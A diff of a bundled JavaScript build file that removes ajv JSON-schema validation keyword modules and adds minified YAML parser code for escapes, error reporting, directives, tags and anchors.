M6[R6] = q5[R6] = 48 === (I6 = R6) ? "\0" : 97 === I6 ? "\x07" : 98 === I6 ? "\b" : 116 === I6 || 9 === I6 ? " " : 110 === I6 ? "\n" : 118 === I6 ? "\v" : 102 === I6 ? "\f" : 114 === I6 ? "\r" : 101 === I6 ? "\x1B" : 32 === I6 ? " " : 34 === I6 ? '"' : 47 === I6 ? "/" : 92 === I6 ? "\\" : 78 === I6 ? "\x85" : 95 === I6 ? "\xA0" : 76 === I6 ? "\u2028" : 80 === I6 ? "\u2029" : "", E6[R6] = q5[R6] ? 1 : 0, k6[R6] = 1, E6[R6] || (M6[R6] = "\\" + String.fromCharCode(R6)); + class D6 { + constructor(e12, t10) { + this.errorMap = {}, this.errors = [], this.lines = [], this.input = e12, this.filename = t10.filename || null, this.schema = t10.schema || p7, this.onWarning = t10.onWarning || null, this.legacy = t10.legacy || false, this.allowAnyEscape = t10.allowAnyEscape || false, this.ignoreDuplicateKeys = t10.ignoreDuplicateKeys || false, this.implicitTypes = this.schema.compiledImplicit, this.typeMap = this.schema.compiledTypeMap, this.length = e12.length, this.position = 0, this.line = 0, this.lineStart = 0, this.lineIndent = 0, this.documents = []; } } - if (it2.items !== true) { - if (schEvaluated && !schEvaluated.dynamicItems) { - if (schEvaluated.items !== void 0) { - it2.items = util_1.mergeEvaluated.items(gen, schEvaluated.items, it2.items); + function C6(e12, t10, i9 = false) { + return new o7(t10, new s7(e12.filename, e12.input, e12.position, e12.line, e12.position - e12.lineStart), i9); + } + function V5(e12, t10, i9, n9 = false, r9 = false) { + var a8 = function(e13, t11) { + for (var i10, n10 = 0; n10 < e13.lines.length && !(e13.lines[n10].start > t11); n10++) + i10 = e13.lines[n10]; + return i10 || { start: 0, line: 0 }; + }(e12, t10); + if (a8) { + var p8 = i9 + t10; + if (!e12.errorMap[p8]) { + var c8 = new s7(e12.filename, e12.input, t10, a8.line, t10 - a8.start); + r9 && (c8.toLineEnd = true); + var d8 = new o7(i9, c8, n9); + e12.errors.push(d8); } - } else { - const items = gen.var("items", (0, codegen_1._)`${source}.evaluated.items`); - it2.items = util_1.mergeEvaluated.items(gen, items, it2.items, codegen_1.Name); } } - } - } - exports28.callRef = callRef; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/core/index.js -var require_core2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/core/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var id_1 = require_id(); - var ref_1 = require_ref(); - var core2 = [ - "$schema", - "$id", - "$defs", - "$vocabulary", - { keyword: "$comment" }, - "definitions", - id_1.default, - ref_1.default - ]; - exports28.default = core2; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/limitNumber.js -var require_limitNumber = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/limitNumber.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var ops = codegen_1.operators; - var KWDs = { - maximum: { okStr: "<=", ok: ops.LTE, fail: ops.GT }, - minimum: { okStr: ">=", ok: ops.GTE, fail: ops.LT }, - exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, - exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } - }; - var error2 = { - message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, - params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` - }; - var def = { - keyword: Object.keys(KWDs), - type: "number", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { keyword, data, schemaCode } = cxt; - cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/multipleOf.js -var require_multipleOf = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/multipleOf.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var error2 = { - message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, - params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` - }; - var def = { - keyword: "multipleOf", - type: "number", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { gen, data, schemaCode, it: it2 } = cxt; - const prec = it2.opts.multipleOfPrecision; - const res = gen.let("res"); - const invalid = prec ? (0, codegen_1._)`Math.abs(Math.round(${res}) - ${res}) > 1e-${prec}` : (0, codegen_1._)`${res} !== parseInt(${res})`; - cxt.fail$data((0, codegen_1._)`(${schemaCode} === 0 || (${res} = ${data}/${schemaCode}, ${invalid}))`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/runtime/ucs2length.js -var require_ucs2length = __commonJS({ - "node_modules/ajv/dist/runtime/ucs2length.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - function ucs2length(str2) { - const len = str2.length; - let length = 0; - let pos = 0; - let value2; - while (pos < len) { - length++; - value2 = str2.charCodeAt(pos++); - if (value2 >= 55296 && value2 <= 56319 && pos < len) { - value2 = str2.charCodeAt(pos); - if ((value2 & 64512) === 56320) - pos++; - } - } - return length; - } - exports28.default = ucs2length; - ucs2length.code = 'require("ajv/dist/runtime/ucs2length").default'; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/limitLength.js -var require_limitLength = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/limitLength.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var ucs2length_1 = require_ucs2length(); - var error2 = { - message({ keyword, schemaCode }) { - const comp = keyword === "maxLength" ? "more" : "fewer"; - return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; - }, - params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` - }; - var def = { - keyword: ["maxLength", "minLength"], - type: "string", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { keyword, data, schemaCode, it: it2 } = cxt; - const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; - const len = it2.opts.unicode === false ? (0, codegen_1._)`${data}.length` : (0, codegen_1._)`${(0, util_1.useFunc)(cxt.gen, ucs2length_1.default)}(${data})`; - cxt.fail$data((0, codegen_1._)`${len} ${op} ${schemaCode}`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/pattern.js -var require_pattern2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/pattern.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var code_1 = require_code2(); - var codegen_1 = require_codegen(); - var error2 = { - message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, - params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` - }; - var def = { - keyword: "pattern", - type: "string", - schemaType: "string", - $data: true, - error: error2, - code(cxt) { - const { data, $data, schema: schema8, schemaCode, it: it2 } = cxt; - const u7 = it2.opts.unicodeRegExp ? "u" : ""; - const regExp = $data ? (0, codegen_1._)`(new RegExp(${schemaCode}, ${u7}))` : (0, code_1.usePattern)(cxt, schema8); - cxt.fail$data((0, codegen_1._)`!${regExp}.test(${data})`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/limitProperties.js -var require_limitProperties = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/limitProperties.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var error2 = { - message({ keyword, schemaCode }) { - const comp = keyword === "maxProperties" ? "more" : "fewer"; - return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; - }, - params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` - }; - var def = { - keyword: ["maxProperties", "minProperties"], - type: "object", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { keyword, data, schemaCode } = cxt; - const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; - cxt.fail$data((0, codegen_1._)`Object.keys(${data}).length ${op} ${schemaCode}`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/required.js -var require_required2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/required.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var code_1 = require_code2(); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, - params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` - }; - var def = { - keyword: "required", - type: "object", - schemaType: "array", - $data: true, - error: error2, - code(cxt) { - const { gen, schema: schema8, schemaCode, data, $data, it: it2 } = cxt; - const { opts } = it2; - if (!$data && schema8.length === 0) - return; - const useLoop = schema8.length >= opts.loopRequired; - if (it2.allErrors) - allErrorsMode(); - else - exitOnErrorMode(); - if (opts.strictRequired) { - const props = cxt.parentSchema.properties; - const { definedProperties } = cxt.it; - for (const requiredKey of schema8) { - if ((props === null || props === void 0 ? void 0 : props[requiredKey]) === void 0 && !definedProperties.has(requiredKey)) { - const schemaPath = it2.schemaEnv.baseId + it2.errSchemaPath; - const msg = `required property "${requiredKey}" is not defined at "${schemaPath}" (strictRequired)`; - (0, util_1.checkStrictMode)(it2, msg, it2.opts.strictRequired); + function N6(e12, t10) { + var i9 = C6(e12, t10), n9 = i9.message + i9.mark.position; + if (!e12.errorMap[n9]) { + e12.errors.push(i9), e12.errorMap[n9] = 1; + for (var r9 = e12.position; ; ) { + if (e12.position >= e12.input.length - 1) + return; + var o8 = e12.input.charAt(e12.position); + if ("\n" == o8) + return e12.position--, void (e12.position == r9 && (e12.position += 1)); + if ("\r" == o8) + return e12.position--, void (e12.position == r9 && (e12.position += 1)); + e12.position++; } } } - function allErrorsMode() { - if (useLoop || $data) { - cxt.block$data(codegen_1.nil, loopAllRequired); - } else { - for (const prop of schema8) { - (0, code_1.checkReportMissingProp)(cxt, prop); - } - } + function F6(e12, t10) { + var i9 = C6(e12, t10); + e12.onWarning && e12.onWarning.call(null, i9); } - function exitOnErrorMode() { - const missing = gen.let("missing"); - if (useLoop || $data) { - const valid = gen.let("valid", true); - cxt.block$data(valid, () => loopUntilMissing(missing, valid)); - cxt.ok(valid); - } else { - gen.if((0, code_1.checkMissingProp)(cxt, schema8, missing)); - (0, code_1.reportMissingProp)(cxt, missing); - gen.else(); + var U6 = { YAML: function(e12, t10, i9) { + var n9, r9, o8; + null !== e12.version && N6(e12, "duplication of %YAML directive"), 1 !== i9.length && N6(e12, "YAML directive accepts exactly one argument"), null === (n9 = /^([0-9]+)\.([0-9]+)$/.exec(i9[0])) && N6(e12, "ill-formed argument of the YAML directive"), r9 = parseInt(n9[1], 10), o8 = parseInt(n9[2], 10), 1 !== r9 && N6(e12, "found incompatible YAML document (version 1.2 is required)"), e12.version = i9[0], e12.checkLineBreaks = o8 < 2, 2 !== o8 && N6(e12, "found incompatible YAML document (version 1.2 is required)"); + }, TAG: function(e12, t10, i9) { + var n9, r9; + 2 !== i9.length && N6(e12, "TAG directive accepts exactly two arguments"), n9 = i9[0], r9 = i9[1], j6.test(n9) || N6(e12, "ill-formed tag handle (first argument) of the TAG directive"), c7.call(e12.tagMap, n9) && N6(e12, 'there is a previously declared suffix for "' + n9 + '" tag handle'), $5.test(r9) || N6(e12, "ill-formed tag prefix (second argument) of the TAG directive"), e12.tagMap[n9] = r9; + } }; + function L6(e12, t10, i9, n9) { + var r9, o8, s8, a8, p8 = e12.result; + if (-1 == p8.startPosition && (p8.startPosition = t10), t10 <= i9) { + if (a8 = e12.input.slice(t10, i9), n9) + for (r9 = 0, o8 = a8.length; r9 < o8; r9 += 1) + 9 === (s8 = a8.charCodeAt(r9)) || 32 <= s8 && s8 <= 1114111 || N6(e12, "expected valid JSON character"); + else + g7.test(a8) && N6(e12, "the stream contains non-printable characters"); + p8.value += a8, p8.endPosition = i9; } } - function loopAllRequired() { - gen.forOf("prop", schemaCode, (prop) => { - cxt.setParams({ missingProperty: prop }); - gen.if((0, code_1.noPropertyInData)(gen, data, prop, opts.ownProperties), () => cxt.error()); - }); - } - function loopUntilMissing(missing, valid) { - cxt.setParams({ missingProperty: missing }); - gen.forOf(missing, schemaCode, () => { - gen.assign(valid, (0, code_1.propertyInData)(gen, data, missing, opts.ownProperties)); - gen.if((0, codegen_1.not)(valid), () => { - cxt.error(); - gen.break(); - }); - }, codegen_1.nil); - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/limitItems.js -var require_limitItems = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/limitItems.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var error2 = { - message({ keyword, schemaCode }) { - const comp = keyword === "maxItems" ? "more" : "fewer"; - return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; - }, - params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` - }; - var def = { - keyword: ["maxItems", "minItems"], - type: "array", - schemaType: "number", - $data: true, - error: error2, - code(cxt) { - const { keyword, data, schemaCode } = cxt; - const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; - cxt.fail$data((0, codegen_1._)`${data}.length ${op} ${schemaCode}`); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/runtime/equal.js -var require_equal = __commonJS({ - "node_modules/ajv/dist/runtime/equal.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var equal2 = require_fast_deep_equal(); - equal2.code = 'require("ajv/dist/runtime/equal").default'; - exports28.default = equal2; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/uniqueItems.js -var require_uniqueItems = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/uniqueItems.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var dataType_1 = require_dataType(); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var equal_1 = require_equal(); - var error2 = { - message: ({ params: { i: i7, j: j6 } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j6} and ${i7} are identical)`, - params: ({ params: { i: i7, j: j6 } }) => (0, codegen_1._)`{i: ${i7}, j: ${j6}}` - }; - var def = { - keyword: "uniqueItems", - type: "array", - schemaType: "boolean", - $data: true, - error: error2, - code(cxt) { - const { gen, data, $data, schema: schema8, parentSchema, schemaCode, it: it2 } = cxt; - if (!$data && !schema8) - return; - const valid = gen.let("valid"); - const itemTypes = parentSchema.items ? (0, dataType_1.getSchemaTypes)(parentSchema.items) : []; - cxt.block$data(valid, validateUniqueItems, (0, codegen_1._)`${schemaCode} === false`); - cxt.ok(valid); - function validateUniqueItems() { - const i7 = gen.let("i", (0, codegen_1._)`${data}.length`); - const j6 = gen.let("j"); - cxt.setParams({ i: i7, j: j6 }); - gen.assign(valid, true); - gen.if((0, codegen_1._)`${i7} > 1`, () => (canOptimize() ? loopN : loopN2)(i7, j6)); - } - function canOptimize() { - return itemTypes.length > 0 && !itemTypes.some((t8) => t8 === "object" || t8 === "array"); + function z6(e12, t10, i9, r9, o8) { + if (null != r9) { + null === t10 && (t10 = { startPosition: r9.startPosition, endPosition: o8.endPosition, parent: null, errors: [], mappings: [], kind: n8.Kind.MAP }); + var s8 = n8.newMapping(r9, o8); + return s8.parent = t10, r9.parent = s8, null != o8 && (o8.parent = s8), !e12.ignoreDuplicateKeys && t10.mappings.forEach((t11) => { + t11.key && t11.key.value === (s8.key && s8.key.value) && (V5(e12, s8.key.startPosition, "duplicate key"), V5(e12, t11.key.startPosition, "duplicate key")); + }), t10.mappings.push(s8), t10.endPosition = o8 ? o8.endPosition : r9.endPosition + 1, t10; + } } - function loopN(i7, j6) { - const item = gen.name("item"); - const wrongType = (0, dataType_1.checkDataTypes)(itemTypes, item, it2.opts.strictNumbers, dataType_1.DataType.Wrong); - const indices = gen.const("indices", (0, codegen_1._)`{}`); - gen.for((0, codegen_1._)`;${i7}--;`, () => { - gen.let(item, (0, codegen_1._)`${data}[${i7}]`); - gen.if(wrongType, (0, codegen_1._)`continue`); - if (itemTypes.length > 1) - gen.if((0, codegen_1._)`typeof ${item} == "string"`, (0, codegen_1._)`${item} += "_"`); - gen.if((0, codegen_1._)`typeof ${indices}[${item}] == "number"`, () => { - gen.assign(j6, (0, codegen_1._)`${indices}[${item}]`); - cxt.error(); - gen.assign(valid, false).break(); - }).code((0, codegen_1._)`${indices}[${item}] = ${i7}`); - }); + function B6(e12) { + var t10; + 10 === (t10 = e12.input.charCodeAt(e12.position)) ? e12.position++ : 13 === t10 ? (e12.position++, 10 === e12.input.charCodeAt(e12.position) && e12.position++) : N6(e12, "a line break is expected"), e12.line += 1, e12.lineStart = e12.position, e12.lines.push({ start: e12.lineStart, line: e12.line }); } - function loopN2(i7, j6) { - const eql = (0, util_1.useFunc)(gen, equal_1.default); - const outer = gen.name("outer"); - gen.label(outer).for((0, codegen_1._)`;${i7}--;`, () => gen.for((0, codegen_1._)`${j6} = ${i7}; ${j6}--;`, () => gen.if((0, codegen_1._)`${eql}(${data}[${i7}], ${data}[${j6}])`, () => { - cxt.error(); - gen.assign(valid, false).break(outer); - }))); + function Q5(e12) { + var t10 = 0, i9 = e12.position; + do { + t10 = e12.input.charCodeAt(++e12.position); + } while (0 !== t10 && !x7(t10)); + e12.comments.push({ startPosition: i9, endPosition: e12.position, value: e12.input.slice(i9 + 1, e12.position) }); } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/const.js -var require_const = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/const.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var equal_1 = require_equal(); - var error2 = { - message: "must be equal to constant", - params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` - }; - var def = { - keyword: "const", - $data: true, - error: error2, - code(cxt) { - const { gen, data, $data, schemaCode, schema: schema8 } = cxt; - if ($data || schema8 && typeof schema8 == "object") { - cxt.fail$data((0, codegen_1._)`!${(0, util_1.useFunc)(gen, equal_1.default)}(${data}, ${schemaCode})`); - } else { - cxt.fail((0, codegen_1._)`${schema8} !== ${data}`); + function K5(e12, t10, i9) { + for (var n9 = 0, r9 = e12.input.charCodeAt(e12.position); 0 !== r9; ) { + for (; _6(r9); ) + 9 === r9 && e12.errors.push(C6(e12, "Using tabs can lead to unpredictable results", true)), r9 = e12.input.charCodeAt(++e12.position); + if (t10 && 35 === r9 && (Q5(e12), r9 = e12.input.charCodeAt(e12.position)), !x7(r9)) + break; + for (B6(e12), r9 = e12.input.charCodeAt(e12.position), n9++, e12.lineIndent = 0; 32 === r9; ) + e12.lineIndent++, r9 = e12.input.charCodeAt(++e12.position); + } + return -1 !== i9 && 0 !== n9 && e12.lineIndent < i9 && F6(e12, "deficient indentation"), n9; } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/enum.js -var require_enum2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/enum.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var equal_1 = require_equal(); - var error2 = { - message: "must be equal to one of the allowed values", - params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` - }; - var def = { - keyword: "enum", - schemaType: "array", - $data: true, - error: error2, - code(cxt) { - const { gen, data, $data, schema: schema8, schemaCode, it: it2 } = cxt; - if (!$data && schema8.length === 0) - throw new Error("enum must have non-empty array"); - const useLoop = schema8.length >= it2.opts.loopEnum; - let eql; - const getEql = () => eql !== null && eql !== void 0 ? eql : eql = (0, util_1.useFunc)(gen, equal_1.default); - let valid; - if (useLoop || $data) { - valid = gen.let("valid"); - cxt.block$data(valid, loopEnum); - } else { - if (!Array.isArray(schema8)) - throw new Error("ajv implementation error"); - const vSchema = gen.const("vSchema", schemaCode); - valid = (0, codegen_1.or)(...schema8.map((_x, i7) => equalCode(vSchema, i7))); + function H5(e12) { + var t10, i9 = e12.position; + return !(45 !== (t10 = e12.input.charCodeAt(i9)) && 46 !== t10 || e12.input.charCodeAt(i9 + 1) !== t10 || e12.input.charCodeAt(i9 + 2) !== t10 || (i9 += 3, 0 !== (t10 = e12.input.charCodeAt(i9)) && !w6(t10))); } - cxt.pass(valid); - function loopEnum() { - gen.assign(valid, false); - gen.forOf("v", schemaCode, (v8) => gen.if((0, codegen_1._)`${getEql()}(${data}, ${v8})`, () => gen.assign(valid, true).break())); + function G5(e12, t10, i9) { + 1 === i9 ? t10.value += " " : i9 > 1 && (t10.value += r8.repeat("\n", i9 - 1)); } - function equalCode(vSchema, i7) { - const sch = schema8[i7]; - return typeof sch === "object" && sch !== null ? (0, codegen_1._)`${getEql()}(${data}, ${vSchema}[${i7}])` : (0, codegen_1._)`${data} === ${sch}`; + function W5(e12, t10) { + var i9, r9, o8 = e12.tag, s8 = e12.anchor, a8 = n8.newItems(), p8 = false; + for (null !== e12.anchor && (a8.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = a8), a8.startPosition = e12.position, r9 = e12.input.charCodeAt(e12.position); 0 !== r9 && 45 === r9 && w6(e12.input.charCodeAt(e12.position + 1)); ) + if (p8 = true, e12.position++, K5(e12, true, -1) && e12.lineIndent <= t10) + a8.items.push(null), r9 = e12.input.charCodeAt(e12.position); + else if (i9 = e12.line, Y6(e12, t10, l7, false, true), e12.result && (e12.result.parent = a8, a8.items.push(e12.result)), K5(e12, true, -1), r9 = e12.input.charCodeAt(e12.position), (e12.line === i9 || e12.lineIndent > t10) && 0 !== r9) + N6(e12, "bad indentation of a sequence entry"); + else if (e12.lineIndent < t10) + break; + return a8.endPosition = e12.position, !!p8 && (e12.tag = o8, e12.anchor = s8, e12.kind = "sequence", e12.result = a8, a8.endPosition = e12.position, true); } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/validation/index.js -var require_validation = __commonJS({ - "node_modules/ajv/dist/vocabularies/validation/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var limitNumber_1 = require_limitNumber(); - var multipleOf_1 = require_multipleOf(); - var limitLength_1 = require_limitLength(); - var pattern_1 = require_pattern2(); - var limitProperties_1 = require_limitProperties(); - var required_1 = require_required2(); - var limitItems_1 = require_limitItems(); - var uniqueItems_1 = require_uniqueItems(); - var const_1 = require_const(); - var enum_1 = require_enum2(); - var validation = [ - // number - limitNumber_1.default, - multipleOf_1.default, - // string - limitLength_1.default, - pattern_1.default, - // object - limitProperties_1.default, - required_1.default, - // array - limitItems_1.default, - uniqueItems_1.default, - // any - { keyword: "type", schemaType: ["string", "array"] }, - { keyword: "nullable", schemaType: "boolean" }, - const_1.default, - enum_1.default - ]; - exports28.default = validation; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/additionalItems.js -var require_additionalItems = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/additionalItems.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.validateAdditionalItems = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, - params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` - }; - var def = { - keyword: "additionalItems", - type: "array", - schemaType: ["boolean", "object"], - before: "uniqueItems", - error: error2, - code(cxt) { - const { parentSchema, it: it2 } = cxt; - const { items } = parentSchema; - if (!Array.isArray(items)) { - (0, util_1.checkStrictMode)(it2, '"additionalItems" is ignored when "items" is not an array of schemas'); - return; + function J5(e12) { + var t10, i9, n9, r9, o8 = false, s8 = false; + if (33 !== (r9 = e12.input.charCodeAt(e12.position))) + return false; + if (null !== e12.tag && N6(e12, "duplication of a tag property"), 60 === (r9 = e12.input.charCodeAt(++e12.position)) ? (o8 = true, r9 = e12.input.charCodeAt(++e12.position)) : 33 === r9 ? (s8 = true, i9 = "!!", r9 = e12.input.charCodeAt(++e12.position)) : i9 = "!", t10 = e12.position, o8) { + do { + r9 = e12.input.charCodeAt(++e12.position); + } while (0 !== r9 && 62 !== r9); + e12.position < e12.length ? (n9 = e12.input.slice(t10, e12.position), r9 = e12.input.charCodeAt(++e12.position)) : N6(e12, "unexpected end of the stream within a verbatim tag"); + } else { + for (; 0 !== r9 && !w6(r9); ) + 33 === r9 && (s8 ? N6(e12, "tag suffix cannot contain exclamation marks") : (i9 = e12.input.slice(t10 - 1, e12.position + 1), j6.test(i9) || N6(e12, "named tag handle cannot contain such characters"), s8 = true, t10 = e12.position + 1)), r9 = e12.input.charCodeAt(++e12.position); + n9 = e12.input.slice(t10, e12.position), v8.test(n9) && N6(e12, "tag suffix cannot contain flow indicator characters"); + } + return n9 && !$5.test(n9) && N6(e12, "tag name cannot contain such characters: " + n9), o8 ? e12.tag = n9 : c7.call(e12.tagMap, i9) ? e12.tag = e12.tagMap[i9] + n9 : "!" === i9 ? e12.tag = "!" + n9 : "!!" === i9 ? e12.tag = "tag:yaml.org,2002:" + n9 : N6(e12, 'undeclared tag handle "' + i9 + '"'), true; } - validateAdditionalItems(cxt, items); - } - }; - function validateAdditionalItems(cxt, items) { - const { gen, schema: schema8, data, keyword, it: it2 } = cxt; - it2.items = true; - const len = gen.const("len", (0, codegen_1._)`${data}.length`); - if (schema8 === false) { - cxt.setParams({ len: items.length }); - cxt.pass((0, codegen_1._)`${len} <= ${items.length}`); - } else if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { - const valid = gen.var("valid", (0, codegen_1._)`${len} <= ${items.length}`); - gen.if((0, codegen_1.not)(valid), () => validateItems(valid)); - cxt.ok(valid); - } - function validateItems(valid) { - gen.forRange("i", items.length, len, (i7) => { - cxt.subschema({ keyword, dataProp: i7, dataPropType: util_1.Type.Num }, valid); - if (!it2.allErrors) - gen.if((0, codegen_1.not)(valid), () => gen.break()); - }); - } - } - exports28.validateAdditionalItems = validateAdditionalItems; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/items.js -var require_items = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/items.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.validateTuple = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var code_1 = require_code2(); - var def = { - keyword: "items", - type: "array", - schemaType: ["object", "array", "boolean"], - before: "uniqueItems", - code(cxt) { - const { schema: schema8, it: it2 } = cxt; - if (Array.isArray(schema8)) - return validateTuple(cxt, "additionalItems", schema8); - it2.items = true; - if ((0, util_1.alwaysValidSchema)(it2, schema8)) - return; - cxt.ok((0, code_1.validateArray)(cxt)); - } - }; - function validateTuple(cxt, extraItems, schArr = cxt.schema) { - const { gen, parentSchema, data, keyword, it: it2 } = cxt; - checkStrictTuple(parentSchema); - if (it2.opts.unevaluated && schArr.length && it2.items !== true) { - it2.items = util_1.mergeEvaluated.items(gen, schArr.length, it2.items); - } - const valid = gen.name("valid"); - const len = gen.const("len", (0, codegen_1._)`${data}.length`); - schArr.forEach((sch, i7) => { - if ((0, util_1.alwaysValidSchema)(it2, sch)) - return; - gen.if((0, codegen_1._)`${len} > ${i7}`, () => cxt.subschema({ - keyword, - schemaProp: i7, - dataProp: i7 - }, valid)); - cxt.ok(valid); - }); - function checkStrictTuple(sch) { - const { opts, errSchemaPath } = it2; - const l7 = schArr.length; - const fullTuple = l7 === sch.minItems && (l7 === sch.maxItems || sch[extraItems] === false); - if (opts.strictTuples && !fullTuple) { - const msg = `"${keyword}" is ${l7}-tuple, but minItems or maxItems/${extraItems} are not specified or different at path "${errSchemaPath}"`; - (0, util_1.checkStrictMode)(it2, msg, opts.strictTuples); + function Z5(e12) { + var t10, i9; + if (38 !== (i9 = e12.input.charCodeAt(e12.position))) + return false; + for (null !== e12.anchor && N6(e12, "duplication of an anchor property"), i9 = e12.input.charCodeAt(++e12.position), t10 = e12.position; 0 !== i9 && !w6(i9) && !S6(i9); ) + i9 = e12.input.charCodeAt(++e12.position); + return e12.position === t10 && N6(e12, "name of an anchor node must contain at least one character"), e12.anchor = e12.input.slice(t10, e12.position), true; } - } - } - exports28.validateTuple = validateTuple; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/prefixItems.js -var require_prefixItems = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/prefixItems.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, 